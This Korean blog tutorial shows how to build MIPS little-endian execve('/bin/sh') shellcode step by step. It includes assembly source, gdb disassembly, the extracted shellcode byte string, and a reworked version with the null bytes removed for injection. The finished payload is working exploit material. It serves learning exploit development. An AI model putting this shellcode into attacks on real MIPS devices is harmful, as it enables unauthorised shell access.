mips 환경에 맞는 shellcode를 만들어보려고 한다.
먼저 어셈블리어로 간단한 write(1,"Hello, World!\n",14)를 만들어본다.
root@debian-mipsel:/home/user# cat hello.s
#Hello, World!
.data #DATA SECTION
## printing string
out_string: .asciiz "Hello, World!\n"
.text #text section start
.global main #main export
main: #main label
li $2, 4004 #syscall number write
li $6, 14 #len
la $5, out_string #buf addr
li $4, 1 #stdout
syscall #syscall
li $2, 1 #syscall number exit
syscall
hello world를 출력하는 어셈블리어이다. 주석을 보면 편하게 확인할 수 있다.
여기서 syscall number를 찾는 경우에는 http://syscalls.kernelgrok.com 여기에 가보면 원하는 함수를 검색할 수 있다.
위와같은 어셈블리 파일을 컴파일 한다.
root@debian-mipsel:/home/user# gcc -o hello.o hello.s
root@debian-mipsel:/home/user# ./hello.o
Hello, World!
(gdb) disas main
Dump of assembler code for function main:
0x004005c0 <+0>: li v0,4004
0x004005c4 <+4>: li a2,14
0x004005c8 <+8>: lui a1,0x41
0x004005cc <+12>: addiu a1,a1,1936
0x004005d0 <+16>: li a0,1
0x004005d4 <+20>: syscall
0x004005d8 <+24>: li v0,1
0x004005dc <+28>: syscall
Reading symbols from /home/user/shell...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
...(생략)
0x00400650 <+16>: lui v0,0x40 // v0 = 0x40 <<16
0x00400654 <+20>: addiu v0,v0,2096 // v0 = 0x400000+2096 --> /bin/sh 문자열
0x00400658 <+24>: sw v0,24(s8) // *[ s8[sp] + 24 ] = v0
0x0040065c <+28>: sw zero,28(s8) // *[ s8[sp] + 28 ] = 0
0x00400660 <+32>: lui v0,0x40
0x00400664 <+36>: addiu a0,v0,2096 // 첫번째 인자로 /bin/sh 문자열 주소 넣음
0x00400668 <+40>: addiu v0,s8,24 // v0 = s8+24 --> 즉 스택의 주소 넣음.
0x0040066c <+44>: move a1,v0 // 두번째 인자로 스택의 주소
0x00400670 <+48>: move a2,zero // 세번째 인자로 0
0x00400674 <+52>: jal 0x400500 <execve@plt>
//문자열을 확인하는 부분임
(gdb) x/10xb 0x400000+2096
0x400830: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x2f = '/'
0x62 = 'b'
0x69 = 'i'
0x6e = 'n'
0x2f = '/'
0x73 = 's'
0x68 = h
대략적으로 돌아가는 과정을 알았다. 이제 어셈블리어를 통해서 문자열을 스택에 구성한다.
그리고 구성한 스택의 주소를 execve 인자로 넣어주고 syscall을 하려고 한다.
.global main #main export
main: #main label
add $29, $29, -32 #stack 할당
li $8, 0x6e69622f #"/bin"
li $9, 0x0068732f #"/sh\x00"
sw $8, -32($29) #stack -32 = /bin
sw $9, -28($29) #stack -28 = /sh\x00
li $9, 0x00 #null 값
sw $9, -16($29) # sp-16 = 0 [&("/bin/sh"), NULL]-> NULL Setting
sw $9, -24($29) # sp-24 = 0 [필요 없음... 처음 만들때 착각]
add $10, $29, -20 # sp-20
add $11, $29, -32 # sp-32 = "/bin/sh\x00"
sw $11, ($10) # [sp-20] = sp-32
move $4, $11 #argv0 = sp-32
move $5, $10 #argv1 = sp-20--> [sp-20] = /bin/sh 주소 [sp-26] = NULL
move $6, $0 #argv2 = 0
li $2, 4011
syscall
위와 같이 구성해주면.. 비록 널값이 많은... shellcode 만드는 전 과정에 도착.
$gcc -o shell.o shell.s [obj 생성]
$./shell.o 하면 쉘이 뜬다.
이렇게 해주면 shellcode 전 단계에 도달하게 된다.
그리고 gdb를 이용해서 기계어를 추출한다.
$gdb shell.o
$gdb x/100xb main
과 같이 하면 shellcode 전 단계를 가져 올수 있다.
char* shellcode
="\xe0\xff\xbd\x23\x69\x6e\x08\x3c\x2f\x62\x08\x35\x68\x00\x09\x3c\x2f\x73\x29\x35\xe0\xff\xa8\xaf\xe4\xff\xa9\xaf\x00\x00\x09\x24\xf0\xff\xa9\xaf\xe8\xff\xa9\xaf\xec\xff\xaa\x23\xe0\xff\xab\x23\x00\x00\x4b\xad\x21\x20\x60\x01\x21\x28\x40\x01\x21\x30\x00\x00\xab\x0f\x02\x24\x0c\x00\x00\x00\x25\x08\x20\x00\x25\x08\x20\x00";
이제 NULL 값과 바이트 수를 좀 줄이는 작업이 필요하다.
NULL 값을 대신할 수 있게 xor reg, reg를 이용하거나 <<,>> 연산을 잘 이용하여서 만들면 된다.
add $29, $29, -32 #stack allocation
li $8, 0x6e69622f
li $9, 0x2268732f #/sh\x22
sw $8, -32($29)
sw $9, -28($29)
xor $25,$25 #NULL 대신에 $25 reg 사용
sb $25, -25($29) #/sh\x22 -->/sh\x00
sw $25, -16($29) #NULL -> $25
add $10, $29, -16
add $11, $29, -32
sw $11, -4($10)
move $4, $11
move $5, $10
move $6, $25
li $2, 4011
syscall
좀 더 최적화 시킬수 있겠지만... 이렇게 NULL 값을 제거하는 방식으로 만든다.
0x004005c0 <+0>: addi sp,sp,-32
0x004005c4 <+4>: lui t0,0x6e69
0x004005c8 <+8>: ori t0,t0,0x622f
0x004005cc <+12>: lui t1,0x2268
0x004005d0 <+16>: ori t1,t1,0x732f
0x004005d4 <+20>: sw t0,-32(sp)
0x004005d8 <+24>: sw t1,-28(sp)
0x004005dc <+28>: xor t9,t9,t9
0x004005e0 <+32>: sb t9,-25(sp)
0x004005e4 <+36>: sw t9,-16(sp)
0x004005e8 <+40>: addi t2,sp,-16
0x004005ec <+44>: addi t3,sp,-32
0x004005f0 <+48>: sw t3,-4(t2)
0x004005f4 <+52>: move a0,t3
0x004005f8 <+56>: move a1,t2
0x004005fc <+60>: move a2,t9
0x00400600 <+64>: li v0,4011
0x00400604 <+68>: syscall
gdb로 확인하면 위와 같고 기계어를 가지고와서 실행시켜보면 된다.
0x4005c0 <main>: 0xe0 0xff 0xbd 0x23 0x69 0x6e 0x08 0x3c
0x4005c8 <main+8>: 0x2f 0x62 0x08 0x35 0x68 0x22 0x09 0x3c
0x4005d0 <main+16>: 0x2f 0x73 0x29 0x35 0xe0 0xff 0xa8 0xaf
0x4005d8 <main+24>: 0xe4 0xff 0xa9 0xaf 0x26 0xc8 0x39 0x03
0x4005e0 <main+32>: 0xe7 0xff 0xb9 0xa3 0xf0 0xff 0xb9 0xaf
0x4005e8 <main+40>: 0xf0 0xff 0xaa 0x23 0xe0 0xff 0xab 0x23
0x4005f0 <main+48>: 0xfc 0xff 0x4b 0xad 0x21 0x20 0x60 0x01
0x4005f8 <main+56>: 0x21 0x28 0x40 0x01 0x21 0x30 0x20 0x03
0x400600 <main+64>: 0xab 0x0f 0x02 0x24 0x0c 0x00 0x00 0x00
마지막 main+64 부분에 보면 null값이 있는데 syscall 부분이여서 \x0c\x01\x01\x01로 해도 된다.
$user@debian-mipsel:~$ ./shell
$
결과물
ps :
- Little endian > 데이터의 낮은 자리 값이 메모리의 낮은 주소 부분에 위치한다. > Host byte order
- Big endian > 데이터의 높은 자리 값이 메모리의 낮은 주소 부분에 위치한다. > Network byte order
li $8, 0x6e69622f #"/bin"
li $9, 0x0068732f #"/sh\x00"
여기서 little endian이기 때문에 2f가 낮은 주소, 6e가 높은 주소에 배치된다.
데이터 0x6e69622f 에서 낮은 위치에 있는 값 0x2f 그렇기 때문에 낮은 주소로 배치.
'Exploit' 카테고리의 다른 글
Command Injection Sheet (0) | 2017.06.15 |
---|---|
REVERSE SHELLCODE (0) | 2017.06.10 |
MIPS BOF (0) | 2017.03.30 |
ARM Chain RTL (0) | 2016.12.29 |
ARM RTL[Ret2ZP] (0) | 2016.12.21 |